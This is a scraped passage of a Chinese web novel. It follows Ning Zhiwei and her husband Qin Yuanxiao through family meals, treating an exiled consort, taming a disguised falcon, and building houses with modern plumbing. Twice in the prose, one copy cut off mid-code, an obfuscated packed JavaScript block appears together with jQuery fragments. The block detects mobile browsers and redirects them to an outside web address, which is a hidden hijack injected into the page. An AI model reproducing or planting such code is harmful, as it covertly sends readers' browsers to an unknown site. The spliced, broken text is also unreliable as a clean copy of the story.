“弟妹,听说你回来了?”大嫂的声音从门外传来。 紧接着是二嫂的声音,“可不是,我们都担心**。” 没一会儿,几位嫂嫂就涌进了房间。她们七嘴八舌地询问宁芷薇的情况。 “双胎可不容易,弟妹要多注意休息。” 宁芷薇被她们围在中间,有些哭笑不得。想找秦远霄帮忙解围,却被大哥叫走了。 “远霄,父亲找你。” 秦远霄看了眼宁芷薇,见她冲自己点头,这才跟着大哥离开。 晚饭时分,双胎的消息已传遍全府。几位嫂嫂争相给宁芷薇布菜,仿佛她成了易碎的瓷器。 “这鱼汤最补身子。” “这块肉最嫩。” “来,再吃点青菜。” 秦老夫人见状忙道:“你们别再加了,薇薇都吃不下了。” 宁芷薇看着碗里堆成小山的菜,无奈地笑了。她偷偷看了眼秦远霄,发现他也在看着自己,两人相视一笑。 嫂嫂们的筷子同时顿在半空,面面相觑后又不约而同地看向宁芷薇的碗。那只青花瓷碗里已经堆满了各色菜肴,几乎要溢出来。 “哈哈哈,瞅瞅咱们这帮当姑婶的,生怕两个侄子饿着。”二嫂爽朗的笑声打破了尴尬,她伸手又给宁芷薇夹了一块红烧肉,“多吃点,你现在可是要养三个人。” 宁芷薇低头看着碗里堆成小山的菜肴,嘴角不自觉地勾起一抹笑意。这些日子以来,嫂嫂们对她无微不至的关心让她感受到了前所未有的温暖。从前在宫里时,虽然锦衣玉食,却总觉得冷冰冰的。 “大嫂,这个鱼汤真好喝。”她端起碗轻抿了一口,鲜美的汤汁滑入喉咙。 大嫂眼中闪过一丝欣慰:“喜欢就多喝点,我特意让厨房熬了一整天呢。” “可不是嘛,”三嫂插话道,手上还在不停地给宁芷薇夹菜,“我们家芷薇现在最重要的就是好好养胎。” 宁芷薇看着碗里又添了几样菜,连忙摆手:“够了够了,再吃真的要撑着了。”她摸了摸微微隆起的小腹,满足地叹了口气。 秦远霄坐在一旁,目光柔和地看着她红润的脸颊。这段时间媳妇儿胖了一圈,原本清瘦的下巴也圆润了些,倒是更添了几分妩媚,可惜他只能看着。 “九弟妹,这个莲子羹也尝尝。”四嫂将一碗温热的羹汤推到她面前,“我让厨房特意熬的,清甜不腻。” 宁芷薇看着面前又多出来的一碗,有些哭笑不得:“四嫂...” “尝尝吧,”秦远霄在一旁轻声道,“莲子养心安神。” 在众人期待的目光中,宁芷薇只好又喝了半碗莲子羹。 饭后,秦远霄扶着宁芷薇在院子里散步。夜风轻柔,带着淡淡的花香。 “累吗?”秦远霄轻声问。 宁芷薇摇摇头,“就是有点困。” “那我们回去休息吧。” 回到房间,宁芷薇刚躺下,就感觉到一双温暖的手轻轻按摩着她的腿。 “我没那么娇气。”她说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686773|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦远霄却道:“让我照顾你。” 宁芷薇闭上眼,感受着丈夫的温柔。她知道,接下来的日子,不仅要应对各种麻烦,还要小心照顾两个小生命。但有秦远霄在身边,她觉得一切都不是问题。 回到界阙后,宁芷薇草草洗漱就睡下了。秦远霄坐在床边,看着她熟睡的侧脸,手指在半空中描摹了几下,终是不敢触碰。月光透过窗棂洒在她的脸上,映出一片柔和的光晕。 第二天一早,秦远霄便带着宁芷薇来到山脚下的鬼屋。清晨的山间雾气缭绕,潮湿的空气中带着泥土和青草的气息。 秦远霄牵着宁芷薇的手,在幽深的走廊中缓步前行。廊下的灯笼随风轻摇,将两人的影子拉得老长。宁芷薇能感受到秦远霄掌心传来的温度,却也察觉到他指尖微微的颤动。 “雅妃娘娘的身体...”宁芷薇欲言又止。 秦远霄停下脚步,转身看向她:“薇薇,待会见到雅妃,你多留意她的神色。这些日子,她受了不少苦。” 宁芷薇点头,心中泛起一丝酸楚。曾经那个高高在上的雅妃,如今却沦落至此。 九公子,你可算来了。”东睿一见到他们就快步迎了上来,眉宇间写满焦虑,“我母妃醒了,但身子还很虚弱,这些干粮她实在吃不下。” 宁芷薇闻言快步走进屋内,浓重的药味扑面而来。简陋的木屋内,雅妃靠在一张粗糙的床榻上,脸色苍白如纸,双眼深陷,整个人瘦得只剩下一把骨头。 “是秦九公子吧?”雅妃眯着眼打量着来人,声音虚弱中带着一丝温和。她的手指无意识地揪着被角,指节泛白。 宁芷薇注意到雅妃说话时喉结的轻颤,那是强忍痛楚的征兆。她下意识地握紧了秦远霄的手。 “见过雅妃娘娘。”秦远霄恭敬行礼,声音沉稳。 “不必多礼了。”雅妃摆了摆手,嘴角扯出一抹苦涩的笑,“如今的我,已不是什么雅妃。若是不嫌弃,就唤我一声兰姨吧。” 一旁的东睿听到这话,眼眶瞬间红了。他别过脸去,肩膀微微颤抖。 “兰姨。”秦远霄顺从地改了称呼,目光中闪过一丝心疼。 第一百八十章 雅妃的视线转向宁芷薇,眼中浮现出赞赏的神色:“这位就是九公子的夫人了?果然是个好孩子。” “正是内子。”秦远霄将宁芷薇拉到身前,语气中带着几分骄傲。 宁芷薇福身行礼,同时仔细观察雅妃的状况。她注意到雅妃说话时微微喘息,额头也渗出细密的汗珠。这些都不是好兆头。 “兰姨,我略通医术,不如让我为您诊脉?”宁芷薇温声道。 雅妃愣了一下,随即点头:“有劳夫人了。” “兰姨直呼我闺名便是。”宁芷薇觉得这样称呼更显亲近。 “是啊,兰姨,我平日都唤她薇薇。”秦远霄在一旁补充,语气中带着宠溺。 雅妃露出慈祥的笑容:“好,薇薇。”她伸出手腕,手背上的青筋清晰可见。 “ “我这就给兰姨把脉。”她说着坐到床边,轻轻搭上雅妃的手腕。 东睿在一旁焦急地来回踱步,时不时看向雅妃的方向,脚步声在寂静的木屋内格外清晰。阳光透过破旧的窗棂照进来,在地上投下斑驳的光影。 “九公子,还有件事想请你帮忙。”他从怀中掏出一张银票,递到秦远霄面前,“我母妃的贴身嬷嬷在宁远最大的驿馆,能否请你派人将她接来?” 秦远霄接过银票,东睿又连忙解释:“嬷嬷是母妃的心腹,跟了母妃二十多年,绝不会对秦家不利。” 说着,他又快步走到马车旁,从车上取下一个精致的鸟笼,里面关着一只洁白如雪的鸽子。 “这是我从一个东陲人手中得来的信鸽,应该就是那位神秘人用来传信的。你看它翅膀上的金色羽毛,很是特别。” 秦远霄仔细端详着白鸽,心中已有计较。这应该就是那东陲人丢失的信鸽,没想到会在东睿手中。白鸽温顺地站在笼中,翅膀上的几根金色羽毛在阳光下闪烁着微光。 “多谢睿王。”他郑重道谢,这或许是找到沧澜先生的关键。 宁芷薇把完脉,开口道:“雅妃娘娘身子虚弱,需要好好调养。我开个方子,你们按方抓药。”她的声音轻柔却不失专业。 东睿连忙取来纸笔,宁芷薇一边写一边说:“另外要准备些清淡的粥食,像是白粥、青菜粥之类的。我待会儿教你们怎么做,还有一些注意事项也要记清楚。” 看着她认真的侧脸,秦远霄心中一暖。这就是他的媳妇儿,总是这样细心周到,对每个病人都尽心尽力。 “雅妃娘娘现在最重要的是养好身子。”宁芷薇将写好的药方递给东睿,“这些药材都不难找,但一定要按量服用。” 东睿接过药方,仔细看了几眼后收入怀中:“多谢九夫人。” “对了,”宁芷薇又补充道,“我这里还有些补气养血的丸药,你先拿去给雅妃服用。”她从随身的药囊中取出一个小瓷瓶。 东睿感激地接过瓷瓶:“九夫人的医术果然名不虚传。” 宁芷薇摇摇头:“这都是应该做的。”她转身看向雅妃,“兰姨安心养病,按我开的药方按时吃药,身体会好起来的,有什么不适随时让人来找我。” 雅妃眼中闪过一丝光亮,整个人似乎都精神了几分。雅妃强撑着要起身相送。 “兰姨快躺下,您现在需要静养。”宁芷薇连忙按住她的肩膀。 “是啊娘,我去送他们就好。”东睿也劝道。 安顿好雅妃,秦远霄和宁芷薇告辞离开。回程路上,两人进入界阙准备药膳材料。宁芷薇一边写药方,一边回想雅妃的症状,心中盘算着用药。 突然,外面传来一阵骚动。宁芷薇放下笔,循声而去。只见墨圆儿正抱着东睿给的那个鸟笼,神情专注得不同寻常。笼中的信鸽不停扑腾,羽毛纷飞。 “墨圆儿,放下。”宁芷薇取来新鲜竹笋想要交换,却见平日最爱美食的墨圆儿竟然充耳不闻。 更令人惊异的是,那只信鸽的样子开始扭曲变形。尖嘴渐渐弯曲如钩,眼睛变得血红,周身散发出阴冷的气息。 宁芷薇心中一惊,这分明是一只伪装成信鸽的雪雕!她刚要出手,墨圆儿突然仰天长啸 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她微眯起眼,刻意与笼子保持着安全距离。谁知那小东西竟朝她卖起萌来,小脑袋一点一点的,翅膀轻轻扇动,那模样要多讨好有多讨好。它的眼睛乌溜溜的,闪烁着智慧的光芒,哪还有半分凶相? “这是怎么回事?”宁芷薇低头看向墨圆儿,语气中带着几分困惑,“你终于收服它了?” 墨圆儿用力点头,发出嗯嗯的声响,圆润的身子随着动作轻轻晃动。它那副自信满满的样子,仿佛在说“这有什么难的”。 墨圆儿已经将它征服了,这一点毋庸置疑。那只白色生物正不停地朝墨圆儿点头,仿佛在表达臣服。它的动作轻柔得近乎谄媚,与先前那副凶相判若两物。 看到这一幕,墨圆儿的神态也变得生动起来,迈着小短腿朝她跑来,一副邀功的模样。小家伙圆滚滚的身子一扭一扭,那得意的样子让人忍俊不禁。 “做得好。”宁芷薇摸了摸墨圆儿的脑袋,指尖传来柔软的触感。她的目光重新投向笼中的不明生物,心中警惕依旧未减。若不是亲眼所见它刚才的异常,她几乎要被这只小白鸽温顺的外表骗过去了。 第一百八十一章 观察片刻,宁芷薇心中有了判断——这生物似乎是认主了,而且极有可能是认了她做主人。因为自从墨圆儿站在她身边,那小东西就再没看过墨圆儿一眼,所有的注意力都集中在她身上。 一阵微风从破损的窗户缝隙吹入,带起地上的灰尘。那小东西又开始朝她扇动翅膀,姿态比对待墨圆儿时温柔了不知多少倍。它的羽毛在昏暗的光线下泛着柔和的光泽,美得不似凡物。 “让我试试。”宁芷薇缓缓伸出手,靠近笼子。她的动作很慢,既是为了不惊扰笼中生物,也是为了随时能够抽身后退。 小东西立即变得更加乖巧,雪白的身子往笼边蹭了蹭,仿佛在邀请她抚摸。它的眼神中流露出期待,整个身子都在微微颤抖,像是在克制着想要扑向她的冲动。 宁芷薇深吸一口气,小心翼翼地打开笼门。笼门发出轻微的吱呀声,那小东西立刻飞出来,绕着她转圈,发出欢快的呼噜声。它飞行的姿态优美而轻盈,在空中画出一道道优美的弧线。 “你倒是不怕生。”她轻笑一声,伸手抚上它的头。触手的羽毛细腻柔软,温暖得不可思议。 小东西主动凑近她的手掌,显得十分享受。它时不时发出轻柔的鸣叫,声音悦耳动听,与普通鸽子的咕咕声完全不同。 趁此机会,宁芷薇仔细查看起它的翅膀。很快,她就发现了那根与众不同的金色羽毛,在一片雪白中格外醒目。这让她想起曾经看过的一本古籍,书中提到过金翅大鹏,但那体型可比眼前这只大得多。 她拿出手机,给小东西拍了几张照片。相机的闪光灯并没有惊扰到它,反而让它摆出了更加优美的姿态,仿佛在刻意展示自己的美丽。 仙市阁的估价功能显示这小东西价值七位数,但宁芷薇并不在意这个。她更关心的是这只生物的来历,以及它与沧澜先生之间的联系。 【能帮我看看这是什么物种吗?】她将照片发给古玩鉴赏家,同时继续观察着这只神奇的生物。 仓库里的光线渐渐暗了下来,外面传来远处的雷声。小东西似乎对即将到来的暴风雨毫不在意,依旧亲昵地蹭着她的手。 十分钟后,古玩鉴赏家终于回复了。当得知这是已经濒临灭绝的铁羽隼后,宁芷薇婉拒了对方的收购请求。她的直觉告诉她,这只生物对寻找沧澜先生至关重要。 按照古玩鉴赏家的说法,这种生物不仅会认主,战力爆表。它们曾是古代帝王的御用坐骑,但随着时代变迁,渐渐销声匿迹。 “那我们来试试。”宁芷薇伸出手掌,想要验证对方的说法。 铁羽隼立即跳上她的手,发出愉悦的鸣叫。它的爪子虽然锋利,却收得很好,丝毫没有伤到她的皮肤。 “去把那边的辣椒叼来。”她指向仓库外的晾晒架。暴雨将至,架子上还挂着几串未收的干辣椒。 铁羽隼一声轻啼,展翅飞去。它穿过狭窄的窗户,动作灵活得令人惊叹。不一会儿就叼回一根干辣椒,稳稳地放在她手心。 这时宁芷薇注意到它的嘴确实如古玩鉴赏家所说,变成了鹰嘴状。锋利的喙在阳光下泛着寒光,让人不禁联想到它可能具备的强大战斗力。 “看来你是真的认我做主人了。”她轻声说道,心情复杂。虽然这小东西原本属于沧澜先生,但现在既然认主了,那就是另一回事了。 只是这样一来,想通过它找到沧澜先生的计划可能要落空了。第一滴雨点落在天窗上,发出清脆的声响。 “你还记得你原来的主人吗?”她试探着问道,目光紧盯着铁羽隼的反应。 铁羽隼歪着脑袋看她,那双灵动的眼睛里闪过一丝困惑,显然对这个问题毫无反应。它轻轻蹭了蹭她的手指,似乎在说“你才是我的主人”。 宁芷薇叹了口气,看来只能另想办法了。外面的雨势渐大,雨点敲打在屋顶上,发出密集的声响。她望着窗外阴沉的天空,思绪渐渐飘远。 宁芷薇望着墨圆儿大快朵颐的模样,忍不住叹了口气。阳光透过窗棂洒落在地面上,在木质地板上投下斑驳的光影,映衬着这只小家伙毛茸茸的身影。 这小东西,还真是闯了个大祸。 墨圆儿似乎察觉到主人的目光 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铁羽隼拍打着翅膀,发出“呼啦啦”的声响,很快飞到了高处,与他们保持着距离。它停在房梁上,居高临下地打量着下方的一人一兽,时不时发出几声低沉的鸣叫。 “算了,反正在界阙里它也跑不掉。”宁芷薇暗自盘算着,手指无意识地摩挲着衣袖,“等秦远霄回来再商量对策吧。” 春日的阳光温暖而不刺眼,时间在这样的氛围中悄然流逝。当她回到医务室时,秦远霄已经在那里等候。他倚在窗边,目光望向远方,听到脚步声才回过头来。 “薇薇。”他轻声唤道,目光中带着询问的意味。阳光为他的侧脸镀上一层柔和的光晕,衬得整个人越发温润如玉。 宁芷薇知道他想问什么,直接开门见山:“那不是普通的白鸽,是一只铁羽隼。”她走到他身边,望着窗外繁花似锦的景色。 “铁羽隼?”秦远霄眉头微皱,眼中闪过一丝讶异。 “是一种极其罕见的鸟类,认主能力很强。”宁芷薇将铁羽隼的特点一一道来,声音里带着些许期待,“我觉得,它或许能带我们找到沧澜先生。” 第一百八十二章 秦远霄眼中闪过一丝希望:“那我们现在就放它出去?”他的手不自觉地握紧了窗框。 “不行。”宁芷薇摇头,语气坚定,“铁羽隼飞行速度极快,就算是你的轻功,恐怕也跟不上。而且,它现在的状态很不稳定。” “那该如何是好?”秦远霄低声问道,眉宇间染上一层忧虑。 两人陷入沉思,医务室内一时寂静无声,只有窗外传来的鸟鸣声点缀其间。 最后还是决定等到七月再说,毕竟那时沧澜先生很可能会出现在玄陲,范围小了,也好追踪。这个决定虽然让人有些焦急,但确实是当下最稳妥的选择。 春光明媚,时光飞逝,转眼已是三月。院子里的梨花开得正盛,白色的花瓣随风飘落,为整个院落增添了几分诗意。 这段时间,秦家可谓是喜事连连。四哥的手术**关了,虽然双腿还不能动,但双手已经能活动自如。每天清晨,他都会坐在轮椅上,在院子里晒太阳,脸上的笑容比往日多了许多。 七哥的身体也恢复得不错,只是略显消瘦。他开始重新练习武功,虽然动作还不够利落,但那份坚韧不拔的精神却感染着身边的每个人。 就连雅妃的身子骨也养得红润了许多。离开了深宫的束缚,她仿佛找回了年轻时的活力,常常与东睿一起,在园子里散步赏花。 东睿似乎也爱上了这里的生活,常常带着雅妃来秦家走动。没有了京城的尔虞我诈,他整个人都轻松了不少。有时候,他会坐在院子里,和秦家兄弟们谈天说地,脸上总是带着温和的笑意。 更让人意外的是,段承志与秦老夫人之间,似乎也暗生情愫。两人常常一起品茶赏花,谈论诗词歌赋,那份默契让人看了都觉得温馨。 秦老夫人的眼神也变得柔和了许多,不再像从前那样带着疏离。她开始关心家里的每一个人,甚至亲自下厨,为大家准备可口的饭菜。 至于宁芷薇,肚子里的双胞胎很是乖巧,从不折腾她。四个月的身孕,让她整个人愈发温柔动人。她的脸上总是带着幸福的笑容,走路时也不自觉地放慢了脚步,一只手轻轻抚摸着微微隆起的腹部。 秦远霄对她更是百般呵护,只要一有空就陪在她身边。他会为她准备各种补品,细心地照顾她的饮食起居。有时候,他甚至会偷偷地和她的肚子说话,那副温柔的模样,让人忍俊不禁。 眼看春耕在即,山脚下的雅园子也该动工了。清晨的阳光洒在图纸上,宁芷薇坐在界阙里,专注地绘制着设计图。 笔尖在纸上游走,渐渐勾勒出一个个构思已久的设计。地暖的管道系统、室内卫生间的布局、上下水管道的走向,每一笔都凝聚着她的心血。 “这里的管道要稍微加粗些...”她皱着眉头,仔细修改着细节,“水压如果不够,整个系统就无法正常运转。” 按照她的设想,要给每个小家庭都建一座绮园,窗户全用玻璃,还要安装取暖设施。她希望能够让每个人都住得舒适温暖,享受到现代化的便利。 图纸上,她细致地标注着每一个细节,从房间的布局到装饰的风格,都经过深思熟虑。她希望能够将传统与现代完美结合,既保留了绮园的古朴韵味,又增添了现代生活的舒适。 秦远霄推门而入时,正看到她专注的侧脸。烛光在她脸上投下柔和的光晕,衬得她越发清丽动人。 “又在研究那些图纸?”秦远霄走到她身边,目光落在案几上密密麻麻的设计图上。 宁芷薇抬起头,眼中闪过一丝疲惫:“这些设计虽然都画出来了,但要真正建造出来却不是那么容易的事。” “怎么,我们的九夫人也有解决不了的难题?”秦远霄唇角微扬,语气中带着几分调侃。 宁芷薇无奈地摇摇头:“我虽能说出个大概原理,但要真正建造出来,还需要一个精通此道的能工巧匠。这些技艺,不是光靠图纸就能实现的。” “夫人可是在为雅园子的事情发愁?”秦远霄的声音突然变得神秘起来,“我倒是认识一个人,或许能帮上你的忙。” “谁?”宁芷薇眼中闪过一丝期待。 “商智。” 这个名字让宁芷薇眼前一亮。她听说过这个人,是个极有才智的能工巧匠。据说他年轻时曾游历各地,学习过不少奇巧技艺。 “就是那个船行案件中的商智?”宁芷 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宁芷薇绕着木器转了一圈,指着几处关键位置说道:“若是这里的孔洞再小些,种子便不会浪费。还有这处,加个助力装置,使用起来会更省力...” 商智听得连连点头,眼中闪烁着兴奋的光芒:“九夫人这些建议很有道理!看来夫人对机关之术也有研究?” 秦远霄见时机已到,从怀中取出那叠图纸:“商大哥,这是内子设计的雅园院图样,还请过目。” 宁芷薇站在一旁,看着商智如获至宝般捧着那几张图纸,不由得露出一丝浅笑。院子里的阳光正好,透过树影斑驳地洒在商智微微佝偻的背影上。 她知道,这位京城赫赫有名的建筑大师,此刻已经完全被自己设计的玉台阁构造图给吸引住了。商智的手指在图纸上来回游走,时而停顿,时而轻点,那专注的神情仿佛在欣赏一件稀世珍宝。 “这抽水马桶的设计...简直巧夺天工!”他自言自语道,声音里带着难以掩饰的惊叹,“还有这地暖系统,竟能用铁管将热气输送到各个房间...” 第一百八十三章 秦远霄在一旁轻声道:“这些都是内子的心血。”说这话时,他不经意地瞥了宁芷薇一眼,眼底闪过一丝赞赏。 宁芷薇嗔怪地瞪了丈夫一眼:“远霄,莫要打趣了。商大哥,这些设计确实有些新颖,但具体实施还需要您这样的能工巧匠来把关。” 宁芷薇听到丈夫的夸赞,心中一暖。这些在后世司空见惯的设计,在永安朝却是前所未有的创举。她望着院子里的老槐树,树影婆娑,恍惚间仿佛又回到了现代。 商智的声音将她的思绪拉回现实:“这排水系统的设计,竟然能让污水直接排出院外,真是...”他的手指在图纸上轻轻摩挲,“我在京城见过不少富贵人家的院子,却从未见过如此精妙的构思。” 秦远霄适时开口:“商大哥觉得,这样的院子可能建成吗?” 商智抬起头,眼中闪烁着兴奋的光芒:“不仅能建,而且...”他顿了顿,似乎在斟酌用词,“若能建成,必定是京城内外最舒适的住所!” 宁芷薇看着商智激动的模样,心中暗笑。在京城时,这位大师可是出了名的挑剔,能让他如此兴奋的图纸,恐怕还是头一回。她记得上次在京城,就连当朝太傅府上的改建方案,商智都曾当面指出七处不妥。 “商大哥,”她开口道,“我们打算建造十处这样的院子。若能找到合适的瓷窑和铁匠,制作这些设施就再好不过了。” 商智的眉头微微皱起,似乎在思索什么。院子里一阵风过,树叶沙沙作响,为这短暂的沉默增添了几分意味。 “九夫人,这些材料恐怕不好找。”他指着图纸上的某处说道,“尤其是这种特制的陶瓷管道,普通瓷窑怕是做不出来。” “这个您不必担心。”宁芷薇从袖中取出一个小包裹,“这是样品,您可以带去给瓷窑做参考。至于费用...”她指了指那叠银票,“一万两银子,应该够用了吧?” 商智倒吸一口凉气:“这...这也太多了。九夫人,这工程用不了这么多银子。” “商大哥太见外了。”秦远霄笑着说,“这笔钱包含了材料费、工钱,还有您的辛苦费。您在京城时,可是连十万两都不放在眼里的人物啊。” 商智摆摆手,神情专注地盯着图纸:“九夫人不必多说,能建造这样的院子,已是我的荣幸。工钱的事,容我先研究透这些图纸,再做计较。” 看着商智又将注意力投入到图纸中,宁芷薇不禁想起前世那些追求完美的工匠。他们或许没有显赫的身份,但对工艺的执着,却能让平凡的物件焕发出不平凡的光彩。 “这排水管道的坡度...”商智自言自语,“还得考虑冬季结冰的问题...” 秦远霄见状,轻声道:“商大哥,图纸就放在你这里慢慢研究。” 商智这才如梦初醒,有些不好意思地道:“是我太过失礼了。”他小心翼翼地将图纸卷起,又忍不住多看了几眼。 “无妨,”宁芷薇笑道,“商大哥能这般用心,我们求之不得。” 提起往事,商智神色一黯。是啊,那时的他确实不会将区区万两放在眼里。可如今... 商智捧着银票,指尖微微颤抖。纸张轻薄,却仿佛有千斤重量,压得他喘不过气来。 阳光透过窗棂洒落,在案几上留下斑驳光影。他望着那些光斑,思绪不由飘回京城那段岁月。那时的他,是何等意气风发,出入皆有马车相迎,一掷千金也不过眨眼之事。如今... “商大哥?”宁芷薇轻声唤道,将他从回忆中拉回现实。 商智回过神来,掩饰性地咳嗽两声:“抱歉,我有些走神了。” “城里的铁匠我都熟悉,”他终于开口,“东边的瓷窑也有些门路。只是...”他的目光在图纸上扫过,“这些新奇的设计,需要特别细致的工艺。” 秦远霄点点头:“商大哥有什么想法,但说无妨。” “我有个小小的要求,”商智正色道,“建造时的工人,必须由我一人调遣。这些新奇的设计,若是工人不听指挥,恐怕难以完工。” 宁芷薇与秦远霄对视一眼,都看到了对方眼中的赞同。院子里的阳光渐渐西斜,在地上投下长长的影子。 “这是自然,”秦远霄笑道,“商大哥在京城时就是这般做派,我们早有耳闻。当年您 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“多谢九爷、九夫人看重。”他郑重其事地将银票收好,“这些图纸,我一定按照您的意思完成。” 接下来的日子里,商智几乎足不出户,专心研究设计图纸。那些独特的构造和巧妙的设计,每一处都令他爱不释手。偶尔遇到疑惑之处,便立刻去请教宁芷薇。 与此同时,他也开始着手准备材料和招工。宁远最好的瓷窑和铁匠铺都被他预定,就连附近几个村子的里正也被他请来商议用工事宜。 “春耕在即,恐怕不好找人啊。”一位里正为难地说。 商智胸有成竹:“工钱按市价翻倍,管吃管住。只要身强力壮,会干活就行。” 这个条件一出,很快就有不少壮劳力报名。但宁芷薇和秦远霄并不急着用人,而是将招工的事情交给了宁远知府蒋承志。 “这些工人以后要长期跟着我们干活,品性很重要。”宁芷薇对蒋承志说,“还请大人帮忙把关。” 蒋承志深以为然,立即派人严格筛查每一位应聘者的背景。经过反复考察,最终选出一百名可靠的工人。 第一百八十四章 与此同时,宁芷薇和秦远霄也没闲着。他们在码头附近租了一处大院,将界阙里培育的果树暂时存放在那里。从苹果、橘子到热带的芒果、榴莲,品种繁多,令人眼花缭乱。 “这些果树可都是稀罕物。”宁芷薇轻抚着一株开满粉色花朵的桃树,眼中满是期待,“等结果后,一定会让宁远的百姓大开眼界。” 工人们开始在山坡上忙碌,将一株株果树小心翼翼地种下。原本荒芜的山地很快就焕然一新,各色果树整齐排列,梨花桃花竞相绽放,好不热闹。 村民们对这些前所未见的果树充满好奇,经常结伴来看稀奇。就连秦家的下人们也忍不住驻足观望,议论纷纷。 “这是从哪里弄来的果树?怎么从没见过?” “听说是从海外运来的珍稀品种。” “海外?那得多远啊!” 面对众人的疑问,宁芷薇总是笑而不语。这个借口虽然有些牵强,但总比说不清楚要强。 春日的阳光温暖而明媚,照在山坡上的果园里,折射出生机勃勃的光芒。宁芷薇站在高处,看着下方忙碌的身影,心中已在盘算着下一步的计划。 这片果园,不过是她计划中的第一步。待到秋收时节,当这些果树结出累累硕果,想必会让所有人都大吃一惊吧。 商智的工程也在紧锣密鼓地进行着。他亲自监督瓷窑烧制管道,指导铁匠打造零件,每一个细节都不敢马虎。那些独特的设计让他爱不释手,仿佛又找回了当年在工部时的热情。 “这些设计真是巧妙。”他时常感叹,“若是能在京城时就见到这些图纸该多好。” 可惜世上没有后悔药,他也早已不是那个呼风唤雨的工部主事。但此时的他,却觉得比在京城时更加充实。至少在这里,还有人欣赏他的才能,信任他的为人。 夜幕降临,山坡上渐渐安静下来。零星的虫鸣声中,一轮新月悄然升起,为这片刚刚焕发生机的土地洒下柔和的银辉。 春风拂过东麓村,带来了泥土的芬芳。远处的山峦如同一幅水墨画卷,青翠欲滴。 宁芷薇站在院子里,望着山脚下三三两两的村民,嘴角微微上扬。她的手轻抚着隆起的腹部,感受着新生命的律动。那些村民每天都会来看山上盛开的花,却不知这些树将来会结出他们从未见过的果实。 院子里,几只蝴蝶在花丛中翩翩起舞,空气中弥漫着淡淡的花香。远处传来农具碰撞的声响,混合着工人们的吆喝声,构成了一幅生机勃勃的春耕图景。 “夫人,快进屋歇着吧。”秦远霄从外面匆匆赶来,看到她站在院中,连忙上前搀扶。他的衣襟上沾着些许泥土,显然刚从地里回来。 宁芷薇轻轻摇头,“我没事,就是想看看春耕的情况。这些日子都闷在屋里,难得今天天气这么好。” “可是......”秦远霄眉头微蹙,语气中带着关切,“大夫说了,你现在需要多休息。” “我知道,”宁芷薇抬手整理了下他有些凌乱的衣领,“就在这里站一会儿。” 秦远霄无奈地叹了口气,却还是坚持将她扶进了屋内。屋里暖意融融,阳光透过窗棂洒在地上,在青石地面上投下斑驳的光影。 “六哥,那边的地要深翻!”院子外传来五哥的声音,“种玉米的地方要翻得更深些!” 宁芷薇透过窗户望去,只见六哥和五哥正在指挥着工人们翻地。那些从宁远请来的工人虽然不太熟练,但为了那一天三十文的工钱,一个个干得格外卖力。 “远霄,”宁芷薇轻声唤道,“你去告诉他们,第三块地要种玉米。那块地背风,最适合种玉米了。” 秦远霄点头应下,刚要转身,院门外突然传来一阵急促的脚步声。 “老九!老九家的!”杨乡长气喘吁吁地跑进院子,“我刚从镇上回来,听说你们要在这荒地上种什么洋玩意儿?” 秦远霄迎了上去:“杨乡长请进,天气热,喝口茶歇歇。” 杨乡长摆摆手,额头的汗珠顺着脸颊滑落:“我这是为你们好啊!这地方世世代代都种的是水稻,祖宗传下来的规矩,哪能随便改?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699610|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢杨乡长关心,”秦远霄不卑不亢地说道,“这些种子都是经过验证的,一定能成。” “验证?在哪验证的?”杨乡长瞪大了眼睛,“我活了大半辈子,从没见过谁种这些稀奇古怪的东西!” 正说着,梁天河和段承义从外面走了进来。两人都穿着体面的长衫,一看就是读书人的打扮。 “老九在家吗?”梁天河的声音清朗,“我们特地从宁远赶回来找你。” 秦远霄连忙请两人进屋。宁芷薇示意芳儿给客人上茶,自己则靠在软榻上,静静地听着他们说话。 “老九,我们想买些你家的种子。”梁天河开门见山地说,“前些日子在宁远尝过你们种的玉米、红薯和土豆,味道确实不错。” 段承义也跟着说道:“是啊,尤其是那玉米,蒸熟了又香又甜,比米饭都好吃。” 杨乡长听得目瞪口呆:“你们...你们也信这个?” “杨乡长,”梁天河转过身来,“现在不比从前了。我在宁远见过不少洋人,他们带来了很多新鲜事物,未必就不好。” 段承义也点头附和:“是啊,这些新式作物产量高,好种植,而且比水稻更抗旱。” 秦远霄看了眼屋内的宁芷薇,见她微微颔首,便道:“玉米种子每斤五十文,红薯和土豆每斤二十五文。” “这价格......”梁天河惊讶地说,“也太便宜了吧?这可是从洋人那里买来的种子啊!” “两位叔叔不必担心,”秦远霄笑着解释,“我们当初买得多,价格优惠。再说了,这是第一年推广,价格定得低些,也是为了让大家都能试试。两位叔叔想要我可以分给你们。” 秦远霄的话让段承义和梁天河眼前一亮,他们仔细打量着这位年轻人的表情,想从中找出一丝玩笑的痕迹。然而秦远霄神色平静,眼神坚定,显然不是在说大话。 “秦公子,您说的是真的?这些种子...真的愿意分给我们?”段承义声音微微发颤,他攥紧了手中的布袋,生怕这天大的好事会突然消失。 第一百八十五章 梁天河也不敢相信自己的耳朵,他抿了抿干涩的嘴唇:“这可是稀罕物啊,在永安都难得一见。若是拿去卖,那价值...” “我既然说了要给,自然不会反悔。”秦远霄打断了谢叔的话,他望向远处起伏的田野,语气温和,“良种若能让百姓过上好日子,这就是最大的价值。” 段承义眼眶微红:“秦公子的心胸,老朽佩服。这份恩情,我段家...” “是啊,这份情谊,我梁家永世不忘。”谢叔深深作揖,情真意切。 